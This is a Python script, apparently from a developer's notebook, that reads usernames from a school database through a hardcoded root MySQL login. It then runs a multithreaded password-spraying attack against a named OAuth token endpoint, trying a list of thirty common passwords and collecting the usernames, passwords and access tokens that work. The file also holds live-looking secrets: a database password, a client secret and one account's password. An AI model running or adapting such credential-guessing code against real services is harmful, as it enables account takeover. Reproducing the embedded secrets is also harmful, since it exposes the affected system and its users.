python----/数据库/线上/Untitled-1.py

# %%
import pymysql
import pandas as pd
import snowflake
import random

# %%

# 创建数据库连接
connection = pymysql.connect(
host='100.64.0.36',
user='root',
password='@HXYD1109mysql',
database='school_server',
charset='utf8'
)
# 创建游标对象
cursor = connection.cursor()
sql="select id,stu_name from student where team_id=19"
cursor.execute(sql)
result=cursor.fetchall()

# %%
def create_table(cursor,result):
    
    data = []
    for i in result:
        list_list = list(i)
        des=cursor.description  # 获取表详情，字段名，长度，属性等
        t = ",".join([item[0] for item in des])
        table_head = t.split(',')  # # 查询表列名 用,分割
    
        dict_result = dict(zip(table_head, list_list))  # 打包为元组的列表 再转换为字典
        data.append(dict_result)  # 将字典添加到list_result中
    return data

# %%
table = create_table(cursor,result)

# %%

# %%
sql1 = "select user_name from account"
cursor.execute(sql1)
result=cursor.fetchall()
table_app = create_table(cursor,result)

# %%


# %%
from requests import get,post
import pandas as pd
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
import threading

# %%

# 常用弱密码列表
WEAK_PASSWORDS = [
    "123456a",
    "123456",
    "admin123",
    "password",
    "admin@123",
    "root123",
    "12345678",
    "123456789",
    "888888",
    "666666",
    "123123",
    "111111",
    "qwerty",
    "abc123",
    "1q2w3e",
    "1qaz2wsx",
    "a123456",
    "Aa123456",
    "@123456",
    "Abcd1234",
    "Abcd@123",
    "admin",
    "123321",
    "000000",
    "1234",
    "12345",
    "test123",
    "pass123",
    "1234567",
    "1234567890",
]

BASE_URL = "http://band.hxzhxy.cn"

# 先用一个已知弱密码账号验证接口是否通畅
print("=" * 50)
print("验证接口是否通畅...")
test_param = {
    "username": "zhongwei",
    "password": "123456a",
    "client_id": "client",
    "grant_type": "password",
    "client_secret": "123456",
}
try:
    test_resp = get(url=f"{BASE_URL}/oauth/token", params=test_param, timeout=10).json()
    if "access_token" in test_resp:
        print("接口通畅，已获取测试 token")
    else:
        print(f"接口返回: {test_resp}")
except Exception as e:
    print(f"接口请求异常: {e}")

# %%

# 线程安全的检测结果
weak_accounts = []
total_attempts = [0]
lock = threading.Lock()

def try_account_password(account_idx, username):
    """尝试单个账号的所有弱密码，返回找到的弱密码或 None"""
    for pwd in WEAK_PASSWORDS:
        param = {
            "username": username,
            "password": pwd,
            "client_id": "client",
            "grant_type": "password",
            "client_secret": "123456",
        }
        with lock:
            total_attempts[0] += 1
            attempt = total_attempts[0]
        
        try:
            resp = get(url=f"{BASE_URL}/oauth/token", params=param, timeout=10)
            data = resp.json()
            
            if "access_token" in data:
                print(f"[弱密码] 账号#{account_idx}: {username} | 密码: {pwd} | token: {data['access_token'][:20]}...")
                return {
                    "username": username,
                    "password": pwd,
                    "token": data["access_token"],
                }
        except Exception as e:
            print(f"  [异常] #{account_idx} {username} / {pwd} -> {e}")
    
    return None

print("=" * 50)
print(f"开始检测 {len(table_app)} 个账号的弱密码...")
print(f"弱密码列表 ({len(WEAK_PASSWORDS)} 个): {WEAK_PASSWORDS}")
print(f"线程数: 3")
print("-" * 50)

start_time = time.time()
completed = [0]

with ThreadPoolExecutor(max_workers=3) as executor:
    futures = {}
    for i, account in enumerate(table_app, 1):
        username = account['user_name']
        future = executor.submit(try_account_password, i, username)
        futures[future] = i
    
    for future in as_completed(futures):
        result = future.result()
        with lock:
            completed[0] += 1
            if completed[0] % 10 == 0:
                elapsed = time.time() - start_time
                print(f"[进度] 已检测 {completed[0]}/{len(table_app)} | 用时 {elapsed:.1f}s | 发现弱密码: {len(weak_accounts)} 个")
        
        if result:
            with lock:
                weak_accounts.append(result)

elapsed_total = time.time() - start_time

# %%

# 输出检测结果
print("=" * 50)
print("检测完成!")
print(f"累计尝试 {total_attempts[0]} 次请求")
print(f"耗时: {elapsed_total:.1f} 秒")
print(f"发现 {len(weak_accounts)} 个弱密码账号:")
print("=" * 50)

if weak_accounts:
    df_weak = pd.DataFrame(weak_accounts)
    # token 太长，截断显示
    df_weak["token_preview"] = df_weak["token"].str[:30] + "..."
    df_display = df_weak[["username", "password", "token_preview"]]
    print(df_display.to_string(index=False))

    # 可选：导出到 Excel
    # df_weak.to_excel("weak_password_accounts.xlsx", index=False)
    # print("\n结果已导出到 weak_password_accounts.xlsx")
else:
    print("未发现弱密码账号")